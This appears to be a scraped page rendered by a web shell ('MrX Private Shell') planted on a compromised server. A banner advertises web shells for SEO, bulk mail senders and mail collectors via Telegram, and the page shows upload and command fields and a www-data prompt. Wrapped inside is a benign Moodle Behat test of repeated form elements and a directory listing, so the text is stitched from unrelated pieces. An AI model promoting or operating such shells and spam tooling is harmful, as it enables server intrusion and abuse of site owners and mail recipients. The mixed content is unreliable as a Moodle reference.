__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@core_form
Feature: Repeated elements in moodleforms

  Scenario: Clicking button to add repeat elements creates repeat elements with the correct default values
    Given I log in as "admin"
    And I am on fixture page "/lib/form/tests/behat/fixtures/repeat_defaults_form.php"
    When I press "Add repeats"
    Then the following fields match these values:
      | testcheckbox[1]           | 1           |
      | testadvcheckbox[1]        | 1           |
      | testdate[1][day]          | 8           |
      | testdate[1][month]        | September   |
      | testdate[1][year]         | 2013        |
      | testdatetime[1][day]      | 8           |
      | testdatetime[1][month]    | September   |
      | testdatetime[1][year]     | 2013        |
      | testdatetime[1][hour]     | 10          |
      | testdatetime[1][minute]   | 30          |
      | testduration[1][number]   | 3           |
      | testduration[1][timeunit] | hours       |
      | testselect[1]             | B           |
      | testselectyes[1]          | Yes         |
      | testselectno[1]           | No          |
      | testtext[1]               | Testing 123 |

  Scenario: Functionality to delete an option in the repeated elements
    Given I log in as "admin"
    And I am on fixture page "/lib/form/tests/behat/fixtures/repeat_with_delete_form.php"
    And I set the field "Test text 1" to "value 1"
    When I press "Add repeats"
    Then the following fields match these values:
      | Test text 1 | value 1 |
      | Test text 2 | Testing |
    And I set the field "Test text 2" to "value 2"
    And I press "Add repeats"
    And the following fields match these values:
      | Test text 1 | value 1 |
      | Test text 2 | value 2 |
      | Test text 3 | Testing |
    And I set the field "Test text 3" to "value 3"
    And I press "Delete option 2"
    And the following fields match these values:
      | Test text 1 | value 1 |
      | Test text 3 | value 3 |
    And I should not see "Test text 2"
    And I should not see "Delete option 2"
    And I press "Save changes"
    And I should see "{\"0\":\"value 1\",\"2\":\"value 3\"}"

Filemanager

Name Type Size Permission Actions
fixtures Folder 0777
autocomplete.feature File 3.93 KB 0777
behat_core_form.php File 3.29 KB 0777
choicedropdown.feature File 1.74 KB 0777
dates.feature File 4.71 KB 0777
disabledif.feature File 1.68 KB 0777
graderescale_for_database_pointscale.feature File 2.2 KB 0777
graderescale_for_forum_pointscale.feature File 1.82 KB 0777
graderescale_for_glossary_pointscale.feature File 1.99 KB 0777
graderescale_for_lesson_pointscale.feature File 1.83 KB 0777
hideif.feature File 1.81 KB 0777
modgrade_validation.feature File 7.05 KB 0777
repeat_defaults.feature File 2.09 KB 0777
Filemanager